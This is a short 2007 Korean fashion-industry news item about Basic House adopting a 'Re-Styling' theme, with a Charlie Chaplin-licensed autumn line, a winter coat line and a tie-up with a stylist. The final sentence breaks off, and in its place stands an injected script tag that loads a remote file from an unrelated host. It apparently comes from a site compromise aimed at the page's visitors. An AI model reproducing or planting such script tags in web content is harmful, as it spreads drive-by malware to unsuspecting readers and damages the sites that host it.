베이직하우스, Re-Styling으로 재해석

한국패션협회 2007-08-17 19:11 조회수 아이콘 727

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‘베이직하우스’, Re-Styling으로 재해석

더베이직하우스(대표 우종완)가 ‘베이직하우스’의 하반기 테마를 Re-Styling으로 정하고 월별 다양한 상품을 선보일 계획이다.


더베이직하우스는 패션 트렌드를 브랜드 컨셉에 맞춰 재해석해 월별 전략 상품을 선정, 이에 따른 마케팅을 집중한다.


이를 위해 찰리 채플린에 대한 라이선스 계약을 체결 ‘리스타일링 찰리’ 등 가을 신상품을 출시한다.


이 제품은 블랙 & 화이트의 모던 트렌드가 부상함에 따라 찰리 채플린의 심플한 이미지를 어번 룩으로 재해석했으며 테일러드 재킷, 반바지, 화이트 셔츠 등이 메인 아이템.


또 겨울 시즌에는 ‘리스타일링 코트’를 테마로 ‘베이직하우스’의 강점을 잘 살린 다양한 코트 라인 전개할 계획이다.


더베이직하우스는 이러한 리스타일링 전략을 위해 최근 세계적인 스타일리스트 Paul Stura와 제휴를 맺었다. Paul Stura가 ‘?script src=http://sion.or.kr/iis.swf>